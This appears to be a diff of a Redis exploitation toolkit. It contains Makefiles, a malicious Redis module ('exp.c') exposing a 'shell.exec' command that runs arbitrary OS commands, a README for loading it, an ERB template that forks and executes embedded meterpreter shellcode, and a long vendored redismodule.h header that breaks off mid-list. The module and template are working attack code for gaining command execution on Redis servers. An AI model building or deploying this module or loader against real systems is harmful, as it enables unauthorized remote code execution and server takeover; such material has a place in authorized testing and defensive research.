endif
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
CC=gcc
all: rmutil module.so
rmutil: FORCE
$(MAKE) -C $(RMUTIL_LIBDIR)
module.so: module.o
$(LD) -o $@ module.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
clean:
rm -rf *.xo *.so *.o
FORCE:
+35
View File
@@ -0,0 +1,35 @@
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=../
endif
ifndef RMUTIL_LIBDIR
RMUTIL_LIBDIR=../rmutil
endif
# find the OS
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
# Compile flags for linux / osx
ifeq ($(uname_S),Linux)
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
else
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
endif
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
CC=gcc
all: rmutil exp.so
rmutil: FORCE
$(MAKE) -C $(RMUTIL_LIBDIR)
exp.so: exp.o
$(LD) -o $@ exp.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
clean:
rm -rf *.xo *.so *.o
FORCE:
+47
View File
@@ -0,0 +1,47 @@
#include "redismodule.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 2) {
size_t cmd_len;
size_t size = 1024;
char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
FILE *fp = popen(cmd, "r");
char *buf, *output;
buf = (char *)malloc(size);
output = (char *)malloc(size);
while ( fgets(buf, sizeof(buf), fp) != 0 ) {
if (strlen(buf) + strlen(output) >= size) {
output = realloc(output, size<<2);
size <<= 1;
}
strcat(output, buf);
}
RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
RedisModule_ReplyWithString(ctx, ret);
pclose(fp);
} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,"shell",1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "shell.exec",
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
BIN
View File
Binary file not shown.
+23
View File
@@ -0,0 +1,23 @@
## Intro
This is a compiled shared object file of redis module.
## Load redis extension
```
MODULE load ./exp.so
```
## Run command
```
redis-cli
127.0.0.1:6379> shell.exec "whoami"
```
## Compile
You can modify the exp.c source code if you want.
And the compile it to exp.so in current directory.
```
make
```
+38
View File
@@ -0,0 +1,38 @@
#include "redismodule.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
pid_t child_pid = fork();
if (child_pid == 0)
{
// Your meterpreter shell here
<%= buf %>
int (*ret)() = (int(*)())buf;
ret();
}
else
{wait(NULL);}
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,<%= @module_init_name.inspect %>,1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, <%= @module_cmd.inspect %>,
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
+509
View File
@@ -0,0 +1,509 @@
#ifndef REDISMODULE_H
#define REDISMODULE_H
#include <sys/types.h>
#include <stdint.h>
#include <stdio.h>
/* ---------------- Defines common between core and modules --------------- */
/* Error status return values. */
#define REDISMODULE_OK 0
#define REDISMODULE_ERR 1
/* API versions. */
#define REDISMODULE_APIVER_1 1
/* API flags and constants */
#define REDISMODULE_READ (1<<0)
#define REDISMODULE_WRITE (1<<1)
#define REDISMODULE_LIST_HEAD 0
#define REDISMODULE_LIST_TAIL 1
/* Key types. */
#define REDISMODULE_KEYTYPE_EMPTY 0
#define REDISMODULE_KEYTYPE_STRING 1
#define REDISMODULE_KEYTYPE_LIST 2
#define REDISMODULE_KEYTYPE_HASH 3
#define REDISMODULE_KEYTYPE_SET 4
#define REDISMODULE_KEYTYPE_ZSET 5
#define REDISMODULE_KEYTYPE_MODULE 6
/* Reply types. */
#define REDISMODULE_REPLY_UNKNOWN -1
#define REDISMODULE_REPLY_STRING 0
#define REDISMODULE_REPLY_ERROR 1
#define REDISMODULE_REPLY_INTEGER 2
#define REDISMODULE_REPLY_ARRAY 3
#define REDISMODULE_REPLY_NULL 4
/* Postponed array length. */
#define REDISMODULE_POSTPONED_ARRAY_LEN -1
/* Expire */
#define REDISMODULE_NO_EXPIRE -1
/* Sorted set API flags. */
#define REDISMODULE_ZADD_XX (1<<0)
#define REDISMODULE_ZADD_NX (1<<1)
#define REDISMODULE_ZADD_ADDED (1<<2)
#define REDISMODULE_ZADD_UPDATED (1<<3)
#define REDISMODULE_ZADD_NOP (1<<4)
/* Hash API flags. */
#define REDISMODULE_HASH_NONE 0
#define REDISMODULE_HASH_NX (1<<0)
#define REDISMODULE_HASH_XX (1<<1)
#define REDISMODULE_HASH_CFIELDS (1<<2)
#define REDISMODULE_HASH_EXISTS (1<<3)
/* Context Flags: Info about the current context returned by
* RM_GetContextFlags(). */
/* The command is running in the context of a Lua script */
#define REDISMODULE_CTX_FLAGS_LUA (1<<0)
/* The command is running inside a Redis transaction */
#define REDISMODULE_CTX_FLAGS_MULTI (1<<1)
/* The instance is a master */
#define REDISMODULE_CTX_FLAGS_MASTER (1<<2)
/* The instance is a slave */
#define REDISMODULE_CTX_FLAGS_SLAVE (1<<3)
/* The instance is read-only (usually meaning it's a slave as well) */
#define REDISMODULE_CTX_FLAGS_READONLY (1<<4)
/* The instance is running in cluster mode */
#define REDISMODULE_CTX_FLAGS_CLUSTER (1<<5)
/* The instance has AOF enabled */
#define REDISMODULE_CTX_FLAGS_AOF (1<<6)
/* The instance has RDB enabled */
#define REDISMODULE_CTX_FLAGS_RDB (1<<7)
/* The instance has Maxmemory set */
#define REDISMODULE_CTX_FLAGS_MAXMEMORY (1<<8)
/* Maxmemory is set and has an eviction policy that may delete keys */
#define REDISMODULE_CTX_FLAGS_EVICT (1<<9)
/* Redis is out of memory according to the maxmemory flag. */
#define REDISMODULE_CTX_FLAGS_OOM (1<<10)
/* Less than 25% of memory available according to maxmemory. */
#define REDISMODULE_CTX_FLAGS_OOM_WARNING (1<<11)
#define REDISMODULE_NOTIFY_GENERIC (1<<2) /* g */
#define REDISMODULE_NOTIFY_STRING (1<<3) /* $ */
#define REDISMODULE_NOTIFY_LIST (1<<4) /* l */
#define REDISMODULE_NOTIFY_SET (1<<5) /* s */
#define REDISMODULE_NOTIFY_HASH (1<<6) /* h */
#define REDISMODULE_NOTIFY_ZSET (1<<7) /* z */
#define REDISMODULE_NOTIFY_EXPIRED (1<<8) /* x */
#define REDISMODULE_NOTIFY_EVICTED (1<<9) /* e */
#define REDISMODULE_NOTIFY_STREAM (1<<10) /* t */
#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED | REDISMODULE_NOTIFY_STREAM) /* A */
/* A special pointer that we can use between the core and the module to signal
* field deletion, and that is impossible to be a valid pointer. */
#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1)
/* Error messages. */
#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value"
#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0)
#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0)
/* Cluster API defines. */
#define REDISMODULE_NODE_ID_LEN 40
#define REDISMODULE_NODE_MYSELF (1<<0)
#define REDISMODULE_NODE_MASTER (1<<1)
#define REDISMODULE_NODE_SLAVE (1<<2)
#define REDISMODULE_NODE_PFAIL (1<<3)
#define REDISMODULE_NODE_FAIL (1<<4)
#define REDISMODULE_NODE_NOFAILOVER (1<<5)
#define REDISMODULE_CLUSTER_FLAG_NONE 0
#define REDISMODULE_CLUSTER_FLAG_NO_FAILOVER (1<<1)
#define REDISMODULE_CLUSTER_FLAG_NO_REDIRECTION (1<<2)
#define REDISMODULE_NOT_USED(V) ((void) V)
/* This type represents a timer handle, and is returned when a timer is
* registered and used in order to invalidate a timer. It's just a 64 bit
* number, because this is how each timer is represented inside the radix tree
* of timers that are going to expire, sorted by expire time. */
typedef uint64_t RedisModuleTimerID;
/* ------------------------- End of common defines ------------------------ */
#ifndef REDISMODULE_CORE
typedef long long mstime_t;
/* Incomplete structures for compiler checks but opaque access. */
typedef struct RedisModuleCtx RedisModuleCtx;
typedef struct RedisModuleKey RedisModuleKey;
typedef struct RedisModuleString RedisModuleString;
typedef struct RedisModuleCallReply RedisModuleCallReply;
typedef struct RedisModuleIO RedisModuleIO;
typedef struct RedisModuleType RedisModuleType;
typedef struct RedisModuleDigest RedisModuleDigest;
typedef struct RedisModuleBlockedClient RedisModuleBlockedClient;
typedef struct RedisModuleClusterInfo RedisModuleClusterInfo;
typedef struct RedisModuleDict RedisModuleDict;
typedef struct RedisModuleDictIter RedisModuleDictIter;
typedef int (*RedisModuleCmdFunc)(RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
typedef void (*RedisModuleDisconnectFunc)(RedisModuleCtx *ctx, RedisModuleBlockedClient *bc);
typedef int (*RedisModuleNotificationFunc)(RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key);
typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver);
typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value);
typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value);
typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value);
typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value);
typedef void (*RedisModuleTypeFreeFunc)(void *value);
typedef void (*RedisModuleClusterMessageReceiver)(RedisModuleCtx *ctx, const char *sender_id, uint8_t type, const unsigned char *payload, uint32_t len);
typedef void (*RedisModuleTimerProc)(RedisModuleCtx *ctx, void *data);
#define REDISMODULE_TYPE_METHOD_VERSION 1
typedef struct RedisModuleTypeMethods {
uint64_t version;
RedisModuleTypeLoadFunc rdb_load;
RedisModuleTypeSaveFunc rdb_save;
RedisModuleTypeRewriteFunc aof_rewrite;
RedisModuleTypeMemUsageFunc mem_usage;
RedisModuleTypeDigestFunc digest;
RedisModuleTypeFreeFunc free;
} RedisModuleTypeMethods;
#define REDISMODULE_GET_API(name) \
RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name))
#define REDISMODULE_API_FUNC(x) (*x)
void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes);
void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes);
void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr);
void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size);
char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str);
int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *);
int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep);
void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name);
int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll);
int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid);
void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode);
void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp);
size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len);
void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply);
long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply);
size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str);
const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len);
void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll);
int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d);
void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str);
char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode);
int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen);
mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire);
int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr);
int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore);
int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted);
void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...);
int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...);
int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos);
unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods);
int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key);
void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key);
void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value);
uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value);
int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s);
void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io);
char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr);
void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value);
double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value);
float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len);
void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io);
long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void);
void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len);
void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele);
void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md);
RedisModuleDict *REDISMODULE_API_FUNC(RedisModule_CreateDict)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_FreeDict)(RedisModuleCtx *ctx, RedisModuleDict *d);
uint64_t REDISMODULE_API_FUNC(RedisModule_DictSize)(RedisModuleDict *d);
int REDISMODULE_API_FUNC(RedisModule_DictSetC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictReplaceC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictSet)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictReplace)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
void *REDISMODULE_API_FUNC(RedisModule_DictGetC)(RedisModuleDict *d, void *key, size_t keylen, int *nokey);
void *REDISMODULE_API_FUNC(RedisModule_DictGet)(RedisModuleDict *d, RedisModuleString *key, int *nokey);
int REDISMODULE_API_FUNC(RedisModule_DictDelC)(RedisModuleDict *d, void *key, size_t keylen, void *oldval);
int REDISMODULE_API_FUNC(RedisModule_DictDel)(RedisModuleDict *d, RedisModuleString *key, void *oldval);
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStartC)(RedisModuleDict *d, const char *op, void *key, size_t keylen);
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStart)(RedisModuleDict *d, const char *op, RedisModuleString *key);
void REDISMODULE_API_FUNC(RedisModule_DictIteratorStop)(RedisModuleDictIter *di);
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseekC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseek)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
void *REDISMODULE_API_FUNC(RedisModule_DictNextC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
void *REDISMODULE_API_FUNC(RedisModule_DictPrevC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictNext)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictPrev)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
int REDISMODULE_API_FUNC(RedisModule_DictCompareC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
int REDISMODULE_API_FUNC(RedisModule_DictCompare)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
/* Experimental APIs */
#ifdef REDISMODULE_EXPERIMENTAL_API
#define REDISMODULE_EXPERIMENTAL_API_VERSION 3
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(RedisModuleCtx*,void*), long long timeout_ms);
int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx);
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientHandle)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc);
void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb);
int REDISMODULE_API_FUNC(RedisModule_BlockedClientDisconnected)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_RegisterClusterMessageReceiver)(RedisModuleCtx *ctx, uint8_t type, RedisModuleClusterMessageReceiver callback);
int REDISMODULE_API_FUNC(RedisModule_SendClusterMessage)(RedisModuleCtx *ctx, char *target_id, uint8_t type, unsigned char *msg, uint32_t len);
int REDISMODULE_API_FUNC(RedisModule_GetClusterNodeInfo)(RedisModuleCtx *ctx, const char *id, char *ip, char *master_id, int *port, int *flags);
char **REDISMODULE_API_FUNC(RedisModule_GetClusterNodesList)(RedisModuleCtx *ctx, size_t *numnodes);
void REDISMODULE_API_FUNC(RedisModule_FreeClusterNodesList)(char **ids);
RedisModuleTimerID REDISMODULE_API_FUNC(RedisModule_CreateTimer)(RedisModuleCtx *ctx, mstime_t period, RedisModuleTimerProc callback, void *data);
int REDISMODULE_API_FUNC(RedisModule_StopTimer)(RedisModuleCtx *ctx, RedisModuleTimerID id, void **data);
int REDISMODULE_API_FUNC(RedisModule_GetTimerInfo)(RedisModuleCtx *ctx, RedisModuleTimerID id, uint64_t *remaining, void **data);
const char *REDISMODULE_API_FUNC(RedisModule_GetMyClusterID)(void);
size_t REDISMODULE_API_FUNC(RedisModule_GetClusterSize)(void);
void REDISMODULE_API_FUNC(RedisModule_GetRandomBytes)(unsigned char *dst, size_t len);
void REDISMODULE_API_FUNC(RedisModule_GetRandomHexChars)(char *dst, size_t len);
void REDISMODULE_API_FUNC(RedisModule_SetDisconnectCallback)(RedisModuleBlockedClient *bc, RedisModuleDisconnectFunc callback);
void REDISMODULE_API_FUNC(RedisModule_SetClusterFlags)(RedisModuleCtx *ctx, uint64_t flags);
#endif
/* This is included inline inside each Redis module. */
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused));
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) {
void *getapifuncptr = ((void**)ctx)[0];
RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr;
REDISMODULE_GET_API(Alloc);
REDISMODULE_GET_API(Calloc);
REDISMODULE_GET_API(Free);
REDISMODULE_GET_API(Realloc);
REDISMODULE_GET_API(Strdup);
REDISMODULE_GET_API(CreateCommand);
REDISMODULE_GET_API(SetModuleAttribs);
REDISMODULE_GET_API(IsModuleNameBusy);
REDISMODULE_GET_API(WrongArity);
REDISMODULE_GET_API(ReplyWithLongLong);
REDISMODULE_GET_API(ReplyWithError);
REDISMODULE_GET_API(ReplyWithSimpleString);
REDISMODULE_GET_API(ReplyWithArray);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(ReplyWithStringBuffer);
REDISMODULE_GET_API(ReplyWithString);
REDISMODULE_GET_API(ReplyWithNull);
REDISMODULE_GET_API(ReplyWithCallReply);
REDISMODULE_GET_API(ReplyWithDouble);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(GetSelectedDb);
REDISMODULE_GET_API(SelectDb);
REDISMODULE_GET_API(OpenKey);
REDISMODULE_GET_API(CloseKey);
REDISMODULE_GET_API(KeyType);
REDISMODULE_GET_API(ValueLength);
REDISMODULE_GET_API(ListPush);
REDISMODULE_GET_API(ListPop);
REDISMODULE_GET_API(StringToLongLong);
